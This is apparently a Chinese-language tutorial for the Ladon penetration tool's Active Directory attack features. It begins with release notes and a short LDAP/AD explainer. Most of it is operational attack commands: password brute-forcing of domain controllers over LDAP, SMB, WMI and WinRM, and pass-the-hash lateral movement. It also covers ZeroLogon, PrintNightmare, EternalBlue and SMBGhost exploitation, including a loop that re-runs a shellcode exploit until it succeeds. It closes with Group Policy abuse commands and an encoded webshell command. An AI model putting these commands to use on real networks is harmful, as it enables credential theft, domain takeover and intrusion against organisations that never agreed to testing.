Ladon 11.5 20230812
[ ]LdapScan 域控密码爆破成功 回显域信息
[8s ]OnlinePC 超时
[8s ]SmbInfo 超时
[8s ]WhatCms 超时
[8s ]SmbGhost 超时
[8s ]MS17010 超时
[ ]LadonExp CMD变量 $hexcmd$ $asciicmd$ $unicodecmd$ 使用对应编码加密命令
[加密通信Shell cmd=u006eu0065u0074u0020u0075u0073u0065u0072 ]LadonExp Unicdoe
[110,101,116,32,117,115,101,114 ]LadonExp Ascii码加密通信Shell cmd=
[6E65742075736572 ]LadonExp Hex加密通信Shell cmd=
[ ]PostShell Unicdoe加密通信Shell CMD值自动加密
[ ]PostShell Ascii码加密通信Shell(超出ASCII值范围不可解密)
[ ]exe2hex EXE转HEX,CMD命令Echo写入文件 支持指定长度、添加前缀
[ ]exe2b64 EXE转Base64,CMD命令写入文件 支持指定长度、添加前缀
什么是 LDAP?
LDAP 的全称是 Lightweight Directory Access Protocol,「轻量目录访问协议」。
划重点,LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,例如微软的 Active Directory 是 LDAP 在 Windows 上的实现,AD 实现了 LDAP 所需的树形数据库、具体如何解析请求数据并到数据库查询然后返回结果等功能。再例如 OpenLDAP 是可以运行在 Linux 上的 LDAP 协议的开源实现。而我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器。
LDAP 协议能解决什么问题?
要说 LDAP 协议能解决什么问题,那不得不提 AD。AD 是 Windows 服务器上最强大的功能,AD 是基于 LDAP 协议的一套解决方案(LDAP 服务器 + 应用),解决了细粒度的权限控制。核心:「谁 以什么权限 访问什么」。
用户服务
管理用户的域账号、用户信息、企业通信录(与电子邮箱系统集成)、用户组管理、用户身份认证、用户授权管理、按需实施组管理策略等。在 Windows 下,有组策略管理器,如果启用域用户认证,那么这些组策略可以统一管理,方便地限制用户的权限。
计算机管理
管理服务器及客户端计算机账户、所有服务器及客户端计算机加入域管理并按需实施组策略,甚至可以控制计算机禁止修改壁纸。(什么?给电脑重装系统就能解除限制?那么所有域上的资源都会无法访问了。)
资源管理
管理打印机、文件共享服务、网络资源等实施组策略。
应用系统的支持
对于电子邮件(Exchange)、在线及时通讯(Lync)、企业信息管理(SharePoint)、微软 CRM,ERP 等业务系统提供数据认证(身份认证、数据集成、组织规则等)。这里不单是微软产品的集成,其它的业务系统根据公用接口的方式一样可以嵌入进来。
0x001 389端口 域控Ldap密码爆破(支持域外)
Ladon 192.168.1.8 LdapScan
Ladon 192.168.1.8/c LdapScan
Ladon noping 192.168.1.8 LdapScan
不提供密码字典时,使用LdapScan只探测Ldap服务器
http://k8gege.org/Ladon/wmiexec2.html 其他协议探测域控信息
系统信息探测
136 Snmp协议探测操作系统、设备等信息
Ladon 192.168.1.8/24 SnmpInfo
137 Nbt协议探测Windows主机名、域、用户
Ladon 192.168.1.8/24 NbtInfo
138 Smb协议探测Windows版本、主机名、域
Ladon 192.168.1.8/24 SmbInfo
139 Wmi协议探测Windows版本、主机名、域
Ladon 192.168.1.8/24 WmiInfo
140 Mssql协议探测Windows版本、主机名、域
Ladon 192.168.1.8/24 MssqlInfo
141 Winrm协议探测Windows版本、主机名、域
Ladon 192.168.1.8/24 WinrmInfo
142 Exchange探测Windows版本、主机名、域
Ladon 192.168.1.8/24 ExchangeInfo
143 Rdp协议探测Windows版本、主机名、域 使用单线程
Ladon 192.168.1.8/24 RdpInfo f=1
Wmi探测信息
Winrm探测信息
Smb探测信息
Mssql探测信息
EnumMssql为探测SqlServer版本等信息
Exchange探测信息
提供密码时,将对指定IP或提供的IP列表或者C段B段等进行密码审计
11.5爆破成功后,除了高亮ISOK提示外,增加LDAP信息
0x002 打印机漏洞CVE-2021-1675域控远程提权
http://k8gege.org/p/CVE-2021-1675.html
环境: Win2016
0x003 ZeroLogon CVE-2020-1472域控远程提权(密码置空)
http://k8gege.org/Ladon/cve-2020-1472.html
Ladon ZeroLogon dc.k8gege.org
0x004 MS17010永恒之蓝漏洞远程提权 445端口
http://k8gege.org/p/89f3c60.htmlPowerShell EXP
http://k8gege.org/p/68a8bf1b.html SMB溢出工具zzz
http://k8gege.org/Ladon/cmddll.html ms17010 DLL生成器
http://k8gege.org/p/k8ms17010exp.html NSA原版工具一键
0x005 SMBGhost永恒之黑CVE-2020-0796漏洞远程提权
http://k8gege.org/p/smbghost_cve_2020_0796.html
CVE-2020-0796漏洞影响运行Windows 10版本1903,Windows Server版本1903(服务器核心安装),Windows 10版本1909和Windows Server版本1909(服务器核心安装)的设备。根据Fortinet,其他Microsoft版本应受到影响。
Ladon稳定利用永恒之黑漏洞
由于该漏洞利用不稳定,成功运气从1次到100次不等,所以8.5新增ForExec循环执行漏洞利用功能,原版EXP需交互执行,批量在本地执行还好,但要在目标,比如只有shell的情况下执行就很麻烦了,所以我们需对EXP进行一个小修改,把交互式去掉,再使用Ladon调用,一直循环有可能会导致目标蓝屏,所以我们需要判定成功后不再执行以免目标蓝屏,EXP命令循环使用Ladon ForExec查看用法。
Ladon ForExec "CVE-2020-0796-Exp -i 192.168.1.8 -p 445 -e --load-shellcode test.txt" 80 "Exploit finnished"
0x006 139端口 Netbios密码爆破(Windows)
Ladon 192.168.1.8/24 NbtScan
0x007 445端口 Smb NtlmHash密码爆破
有时获取的hash无法解密,但可hash传递执行命令,所以我们也可以使用hash去登陆其它机器,通过hash横向移动获取其它机器权限。
Ladon 192.168.1.8/24 SmbScan
0x008 445端口 Smb 明文密码爆破
NtlmHash都能验证,何况明文密码
Ladon 192.168.1.8/24 SmbScan
0x009 135端口 Wmi NtlmHash密码爆破
Ladon 192.168.1.8/24 WmiScan
0x010 135端口 Wmi 明文密码爆破
Ladon 192.168.1.8/24 WmiScan
0x011 Ladon 自定义密码爆破 Impaket例子
http://k8gege.org/p/53177.html
调用修改过的smbexec.exe进行HASH密码验证
Ladon 192.168.1.1/24 smbhash.ini
0x012 5985端口 Winrm密码爆破
Winrm远程命令/端口复用后门/WinrmCmd/密码爆破
http://k8gege.org/Ladon/WinrmScan.html
0x013 Ladon相关横向移动执行命令
http://k8gege.org/Ladon/SmbExec.html
http://k8gege.org/Ladon/wmiexec2.html
ID | 模块名称 | 功能说明 | 用法 |
---|---|---|---|
1 | WmiExec | 135端口执行命令 | http://k8gege.org/Ladon/WinShell.html |
2 | PsExec | 445端口执行命令 | http://k8gege.org/Ladon/WinShell.html |
3 | AtExec | 445端口执行命令 | http://k8gege.org/Ladon/WinShell.html |
4 | SshExec | 22端口执行命令 | http://k8gege.org/Ladon/WinShell.html |
5 | JspShell | Jsp一句话执行命令 | http://k8gege.org/p/ladon_cs_shell.html |
6 | WebShell | WebShell执行命令 | http://k8gege.org/Ladon/webshell.html |
7 | WinrmExec | 5895端口执行命令 | http://k8gege.org/Ladon/WinrmExec.html |
8 | SmbExec | 445端口HASH执行命令 | http://k8gege.org/Ladon/SmbExec.html |
当然如果域控上安装有mssql或ssh,也可通过对应协议横向渗透
0x014 DNS查询域内机器、IP (条件域内,指定域控IP)
Ladon AdiDnsDump 192.168.1.8
0x015 SharpGPO组策略下发执行脚本
https://github.com/FSecureLABS/SharpGPOAbuse
https://github.com/Dliv3/SharpGPO
Ladon SharpGPO
Ladon SharpGPO -h
# OU Operations
Ladon SharpGPO --Action GetOU
Ladon SharpGPO --Action GetOU --OUName "IT Support"
Ladon SharpGPO --Action NewOU --OUName "IT Support"
Ladon SharpGPO --Action NewOU --OUName "App Dev" --BaseDN "OU=IT Support,DC=testad,DC=com"
Ladon SharpGPO --Action MoveObject --SrcDN "CN=user01,CN=Users,DC=testad,DC=com" --DstDN "OU=IT Support,DC=testad,DC=com"
Ladon SharpGPO --Action MoveObject --SrcDN "CN=user01,OU=IT Support,DC=testad,DC=com" --DstDN "CN=Users,DC=testad,DC=com"
Ladon SharpGPO --Action RemoveOU --OUName "IT Support"
Ladon SharpGPO --Action RemoveOU --DN "OU=IT Support,DC=testad,DC=com"
# GPO Operations
Ladon SharpGPO --Action GetGPO
Ladon SharpGPO --Action GetGPO --GPOName testgpo
Ladon SharpGPO --Action NewGPO --GPOName testgpo
Ladon SharpGPO --Action RemoveGPO --GPOName testgpo
Ladon SharpGPO --Action RemoveGPO --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8
Ladon SharpGPO --Action GetGPLink
Ladon SharpGPO --Action GetGPLink --DN "OU=IT Support,DC=testad,DC=com"
Ladon SharpGPO --Action GetGPLink --GPOName testgpo
Ladon SharpGPO --Action GetGPLink --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8
Ladon SharpGPO --Action NewGPLink --DN "OU=IT Support,DC=testad,DC=com" --GPOName testgpo
Ladon SharpGPO --Action NewGPLink --DN "OU=IT Support,DC=testad,DC=com" --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8
Ladon SharpGPO --Action RemoveGPLink --DN "OU=IT Support,DC=testad,DC=com" --GPOName testgpo
Ladon SharpGPO --Action RemoveGPLink --DN "OU=IT Support,DC=testad,DC=com" --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8
Ladon SharpGPO --Action GetSecurityFiltering --GPOName testgpo
Ladon SharpGPO --Action GetSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8
Ladon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --DomainUser Alice
Ladon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --DomainGroup "Domain Users"
Ladon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --DomainComputer WIN-SERVER
Ladon SharpGPO --Action NewSecurityFiltering --GPOName testgpo --NTAccount "Authenticated Users"
Ladon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainUser Alice
Ladon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainGroup "Domain Users"
Ladon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainComputer WIN-SERVER
Ladon SharpGPO --Action NewSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --NTAccount "Authenticated Users"
Ladon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --DomainUser Alice
Ladon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --DomainGroup "Domain Users"
Ladon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --DomainComputer WIN-SERVER
Ladon SharpGPO --Action RemoveSecurityFiltering --GPOName testgpo --NTAccount "Authenticated Users"
Ladon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainUser Alice
Ladon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainGroup "Domain Users"
Ladon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --DomainComputer WIN-SERVER
Ladon SharpGPO --Action RemoveSecurityFiltering --GUID F3402420-8E2A-42CA-86BE-4C5594FA5BD8 --NTAccount "Authenticated Users"
Ladon简明使用教程245例
https://github.com/k8gege/Ladon
原文始发于微信公众号(K8实验室):Ladon域渗透相关教程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论